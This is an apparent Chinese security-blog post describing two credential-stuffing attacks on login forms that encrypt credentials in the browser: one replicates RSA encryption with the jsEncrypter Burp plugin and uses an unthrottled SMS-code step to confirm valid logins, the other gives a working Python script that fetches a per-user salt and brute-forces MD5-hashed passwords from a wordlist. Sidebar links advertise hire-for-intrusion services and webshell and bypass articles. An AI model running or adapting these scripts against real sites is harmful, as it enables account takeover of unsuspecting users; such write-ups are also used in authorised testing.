前言
最近遇到两个个案例,经过一番倒腾,发现其登录功能均可撞库。但是都存在登录数据本地加密,有空了放一起总结记录一下。
一、案例1(RSA本地加密)
摸底:
首先,进行正常登录逻辑测试,发现该系统登录逻辑分下面两步:
输入正确用户名密码,校验正确后,向注册手机号发送验证码;
输入正确验证码,登录系统。
从该逻辑可知此处可通过填写登录用户名密码后是否发送验证码来判断输入数据是否为正确用户登录凭证,由于站点未对获取验证码提交频率作任何限制,从而可自动化提交来获取该站点正确用户名密码。
演习:
在google的过程中,很快的找到了一款burpsuite套件:jsEncrypter(感谢作者提供这么利索的插件)。下载地址:https://github.com/c0ny1/jsEncrypter/releases。
安装完成后,我们将jsencrypt.min.js下载至本地。然后对站点系统前端代码进行调试,分析前端处理过程,编写js模板文件。
在审计前端源代码页面中,可以找到,在ui目录下的lib文件夹下有一个security文件夹,而其中的rsa_util.js就是调用jsencrypt.min.js文件种的JSEncrypt方法对用户名密码进行加密。
我们可以很清楚看到加密过程,然后根据jsEncrypter的readme文档中的使用指南,我们可以根据其调用逻辑,自行编写一个jsEncrypter_rsa.js文件,来调用jsencrypt.min.js文件为我们的明文数据进行加密。
这里有两个小坑:
由动态调试可知,公钥_pubk在cookie中以url编码后的方式存储,因此,我们本地调用,需要解码一下,在这里,对于换行符,需要用\n替换。
由于jsEncrypter插件使用了phantomjs平台,而phantomjs支持url解码的函数为encodeURIComponent。因此不能使用与系统前端一致的encodeURI函数。
然后仿写系统加密的方式,将公钥以及调用逻辑写入到我们自己的js文件中:
攻击:
1、运行phantomJS并测试。
2、Burpsuite验证,调用成功:
3、抓包,加载字典,实施爆破(两个参数的字典都使用插件):
然后,成功爆破:
二、案例2(md5本地加密)
摸底:
首先通过分析用户登录过程,发现该站点登录无验证码,可多次提交登录数据,但是其用户名密码在本地进行了md5加密处理。因此,撞库之前需要本地实现将字典进行加密操作后再提交。
对登录功能抓包分析后,可以看到在填写用户名密码后,前端发送如下数据包获取cd、salt数据包:
此处存在salt泄漏风险,可遍历手机号,对于未注册⽤用户,返回值⽆salt,对于已注册⽤户salt值恒定。
而实施撞库,需要先请求得到salt与cd值。然后可从前端代码中得到加密用户名密码过程:
pass经过本地md5加密后, 发送至服务端进行登录校验。
演习:
因此,我们只需要用脚本,先输入用户名即手机号,请求得到cd、salt值,然后再从密码字典中,取出密码进行md5加密,最后发包请求即可。编写python脚本如下:
#-*- coding=utf-8 -*-
import requests
import hashlib
import json
def GetPass():
fp = open("./pass.txt","r")
if fp == 0:
print ("open file error!")
return;
while 1:
line = fp.readline()
if not line:
break
passwd = line.strip('\n')
Brute_Force_Dididai("150****1403",passwd);
def Brute_Force_Dididai(username,password):
# url = ""
s = requests.Session()
s.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/51.0.2704.103 Safari/537.36',
'X-Requested-With': 'XMLHttpRequest',
}
url = "http://www.foo.com/?m=&s=getcd"
data = {"username":username}
html = s.post(url,data = data)
print html.content
salt_cd = json.loads(html.content)
print salt_cd['salt']
print salt_cd['cd']
md5_pass = hashlib.md5(password.encode('utf-8')).hexdigest()+salt_cd['salt']
md5_salt = hashlib.md5(md5_pass.encode('utf-8')).hexdigest()+str(salt_cd['cd'])
md5_cd = hashlib.md5(md5_salt.encode('utf-8')).hexdigest()
print md5_cd
url1 = "http://www.foo.com/?m=&s=login_wd&ismd5=1"
data1 = {"username":"username","password":md5_cd}
html1 = s.post(url1,data = data1)
print html1.content
print len(html1.content);
GetPass()
然后准备测试pass.txt:
攻击:
最后只需要执行脚本即可:
最后是爆破成功返回到数据包,由此可得到正确用户名密码。
PS:菜鸡拙作,有不妥之处欢迎各位赐教。感谢各位阅览~
猜你还喜欢
- 07-08八年专业安全团队承接渗透入侵维护服务
- 08-06SQLMAP的注入命令以及使用方法
- 08-03白帽故事汇:网络安全战士从来不是「男生」的专利
- 07-27编辑器漏洞手册
- 07-12web安全之如何全面发现系统后台
- 02-22常见Web源码泄露总结
- 07-25网站后台登陆万能密码
- 07-23破解emlog收费模板“Begin”
- 01-12批量检测SQL注入
- 01-22Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测
- 随机文章
-
- 提取Chrome中Cookie工具分享
- 从防护角度看Struts2历史漏洞
- kali下安装 w13scan 被动扫描器和使用
- 远控免杀从入门到实践(5)-代码篇-Python
- 突破PHP函数禁用执行Shell代码分析
- 挖洞经验 | 登录注册表单渗透
- Tomcat-Ajp漏洞:我是如何一步步写出POC的?
- 从防护角度看Thinkphp历史漏洞
- 如何使用Frida绕过Android网络安全配置
- 从防护角度看Weblogic反序列化历史漏洞
- 用CVE-2019-19781漏洞黑掉一台Citrix设备
- 从防护角度看一句话木马的发展变形
- 看我如何绕过Windows 10的用户组策略
- 渗透某非法约xx软件
- 实战bc站 收割菠菜天恒盛达
- php弱类型总结
- WEB安全之SQL注入:access+asp 手工注入
- WEB安全之SQL注入:access+asp 逐字猜解法
- WEB安全之SQL注入:注入的注入类型的区分详解
- WEB安全之SQL注入:mysql+php手工注入篇
- 热门文章
-
- 八年专业安全团队承接渗透入侵维护服务
- Emlog黑客站模板“Milw0rm”发布
- Stuxnet纪录片-零日 Zero.Days (2016)【中文字幕】
- SQLMAP的注入命令以及使用方法
- 白帽故事汇:网络安全战士从来不是「男生」的专利
- 编辑器漏洞手册
- web安全之如何全面发现系统后台
- 常见Web源码泄露总结
- 渗透测试培训(第五期)
- 深入理解JAVA反序列化漏洞
- cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)
- 网站后台登陆万能密码
- 黑麒麟2016渗透培训系列教程
- 破解emlog收费模板“Begin”
- 那些强悍的PHP一句话后门
- Android平台渗透测试套件zANTI v2.5发布(含详细说明)
- 渗透工具BackTrack与KaliLinux全套视频教程
- Python列为黑客应该学的四种编程语言之一 初学者该怎么学
- CVE-2017-11882漏洞复现和利用
- 恶意程序报告在线查询工具
文章存档
- 2021年3月(4)
- 2020年12月(4)
- 2020年11月(5)
- 2020年10月(8)
- 2020年9月(8)
- 2020年8月(20)
- 2020年7月(47)
- 2020年6月(70)
- 2020年5月(41)
- 2020年4月(21)
- 2020年3月(120)
- 2020年2月(26)
- 2019年12月(12)
- 2019年11月(13)
- 2019年10月(17)
- 2019年9月(15)
- 2019年8月(13)
- 2019年7月(15)
- 2019年6月(15)
- 2019年5月(19)
- 2019年4月(23)
- 2019年3月(19)
- 2019年2月(11)
- 2019年1月(29)
- 2018年12月(24)
- 2018年11月(56)
- 2018年10月(79)
- 2018年9月(20)
- 2018年8月(17)
- 2018年7月(16)
- 2018年6月(7)
- 2018年5月(10)
- 2018年3月(6)
- 2018年2月(2)
- 2018年1月(11)
- 2017年11月(18)
- 2017年10月(6)
- 2017年9月(8)
- 2017年8月(7)
- 2017年7月(7)
- 2017年6月(15)
- 2017年5月(30)
- 2017年4月(7)
- 2017年3月(1)
- 2017年2月(4)
- 2017年1月(1)
- 2016年12月(3)
- 2016年11月(7)
- 2016年10月(6)
- 2016年9月(6)
- 2016年8月(102)
- 2016年7月(24)
- 2013年7月(1)
- 文章标签
-